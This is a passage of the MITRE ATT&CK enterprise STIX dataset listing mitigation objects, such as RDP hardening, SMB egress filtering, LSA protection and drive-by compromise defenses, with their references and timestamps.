"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1076", "external_id": "T1076"}, {"url": "https://security.berkeley.edu/node/94", "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.", "source_name": "Berkley Secure"}, {"url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx", "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.", "source_name": "Windows RDP Sessions"}], "modified": "2019-07-25T11:33:10.069Z", "name": "Remote Desktop Protocol Mitigation", "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1171", "external_id": "T1171"}, {"source_name": "ADSecurity Windows Secure Baseline", "description": "Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.", "url": "https://adsecurity.org/?p=3299"}, {"source_name": "byt3bl33d3r NTLM Relaying", "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html", "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."}, {"source_name": "Secure Ideas SMB Relay", "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."}, {"description": "Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019.", "url": "https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)", "source_name": "Microsoft SMB Packet Signing"}], "modified": "2019-07-24T19:46:41.947Z", "name": "LLMNR/NBT-NS Poisoning Mitigation", "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--548bf7ad-e19c-4d74-84bf-84ac4e57f505", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1204", "external_id": "T1204"}], "modified": "2019-07-25T12:31:53.804Z", "name": "User Execution Mitigation", "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--54e8722d-2faf-4b1b-93b6-6cbf9551669f", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1200", "external_id": "T1200"}, {"url": "https://en.wikipedia.org/wiki/IEEE_802.1X", "description": "Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.", "source_name": "Wikipedia 802.1x"}], "modified": "2019-07-24T19:35:08.161Z", "name": "Hardware Additions Mitigation", "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1142", "external_id": "T1142"}], "modified": "2019-07-24T19:45:38.627Z", "name": "Keychain Mitigation", "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1064", "external_id": "T1064"}, {"url": "https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/", "description": "Windows Defender Research. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved April 11, 2018.", "source_name": "Microsoft Block Office Macros"}, {"source_name": "Ars Technica Pwn2Own 2017 VM Escape", "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"}], "modified": "2019-07-25T11:40:52.342Z", "name": "Scripting Mitigation", "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. 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(2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", "source_name": "Re-Open windows on Mac"}], "modified": "2019-07-25T11:30:18.799Z", "name": "Re-opened Applications Mitigation", "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). 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(2020, October 24). 7 Data Loss Prevention Best Practices & Strategies. Retrieved August 30, 2021."}], "modified": "2021-08-30T15:00:10.680Z", "name": "Data Loss Prevention", "description": "Use a data loss prevention (DLP) strategy to categorize sensitive data, identify data formats indicative of personal identifiable information (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data Loss Prevention)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--654addf1-47ab-410a-8578-e1a0dc2a49b8", "type": "course-of-action", "created": "2019-04-19T18:46:47.964Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1498", "source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1498"}, {"description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf", "source_name": "CERT-EU DDoS March 2017"}], "modified": "2019-07-25T11:16:48.088Z", "name": "Network Denial of Service Mitigation", "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. 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Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1149", "external_id": "T1149"}], "modified": "2019-07-24T19:46:16.474Z", "name": "LC_MAIN Hijacking Mitigation", "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1187", "external_id": "T1187"}, {"url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices", "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.", "source_name": "US-CERT SMB Security"}, {"source_name": "US-CERT APT Energy Oct 2017", "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"}], "modified": "2019-07-24T19:32:11.883Z", "name": "Forced Authentication Mitigation", "description": "Block SMB  traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--70886857-0f19-4caa-b081-548354a8a994", "type": "course-of-action", "created": "2019-04-26T19:30:33.607Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1495", "source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1495"}], "modified": "2019-07-24T19:31:37.073Z", "name": "Firmware Corruption Mitigation", "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities. ", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", "type": "course-of-action", "created": "2019-06-06T21:08:58.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "M1025", "url": "https://attack.mitre.org/mitigations/M1025"}], "modified": "2020-05-20T13:13:48.900Z", "name": "Privileged Process Integrity", "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1188", "external_id": "T1188"}], "modified": "2019-07-25T11:14:52.662Z", "name": "Multi-hop Proxy Mitigation", "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--7708ac15-4beb-4863-a1a5-da2d63fb8a3c", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1220", "external_id": "T1220"}], "modified": "2019-07-25T12:36:43.778Z", "name": "XSL Script Processing Mitigation", "description": "[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1161", "external_id": "T1161"}], "modified": "2019-07-24T19:45:55.012Z", "name": "LC_LOAD_DYLIB Addition Mitigation", "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\u2019t included as part of an update, it should be investigated.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", "type": "course-of-action", "created": "2019-07-19T14:58:42.715Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "M1055", "url": "https://attack.mitre.org/mitigations/M1055"}], "modified": "2019-07-23T14:44:24.727Z", "name": "Do Not Mitigate", "description": "This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "type": "course-of-action", "created": "2020-10-19T14:57:58.771Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "M1056", "url": "https://attack.mitre.org/mitigations/M1056"}], "modified": "2020-10-20T19:52:32.439Z", "name": "Pre-compromise", "description": "This category is used for any applicable mitigation activities that apply to techniques occurring before an adversary gains Initial Access, such as Reconnaissance and Resource Development techniques.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--797312d4-8a84-4daf-9c56-57da4133c322", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1199", "external_id": "T1199"}], "modified": "2019-07-25T12:30:35.417Z", "name": "Trusted Relationship Mitigation", "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1073", "external_id": "T1073"}], "modified": "2019-07-24T14:24:44.818Z", "name": "DLL Side-Loading Mitigation", "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--7a4d0054-53cd-476f-88af-955dddc80ee0", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1189", "external_id": "T1189"}, {"url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/", "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.", "source_name": "Windows Blogs Microsoft Edge Sandbox"}, {"url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/", "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", "source_name": "Ars Technica Pwn2Own 2017 VM Escape"}, {"url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", "source_name": "TechNet Moving Beyond EMET"}, {"url": "https://en.wikipedia.org/wiki/Control-flow_integrity", "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", "source_name": "Wikipedia Control Flow Integrity"}], "modified": "2019-07-24T19:14:33.952Z", "name": "Drive-by Compromise Mitigation", "description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1177", "external_id": "T1177"}, {"source_name": "Microsoft LSA Protection Mar 2014", "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", "url": "https://technet.microsoft.com/library/dn408187.aspx"}, {"url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage", "description": "Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.", "source_name": "Microsoft Enable Cred Guard April 2017"}, {"url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works", "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.", "source_name": "Microsoft Credential Guard April 2017"}, {"source_name": "Microsoft DLL Security", "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"}], "modified": "2019-07-24T19:47:23.978Z", "name": "LSASS Driver Mitigation", "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. 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For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d", "type": "course-of-action", "created": "2019-06-06T20:15:34.146Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "M1020", "url": "https://attack.mitre.org/mitigations/M1020"}], "modified": "2019-06-06T20:15:34.146Z", "name": "SSL/TLS Inspection", "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1043", "external_id": "T1043"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "modified": "2019-07-24T14:17:58.966Z", "name": "Commonly Used Port Mitigation", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1093", "url": "https://attack.mitre.org/mitigations/T1093", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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DDoS Overview and Response Guide. Retrieved April 24, 2019.", "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf", "source_name": "CERT-EU DDoS March 2017"}], "modified": "2019-07-24T19:16:50.511Z", "name": "Endpoint Denial of Service Mitigation", "description": "Leverage services provided by Content Delivery Networks 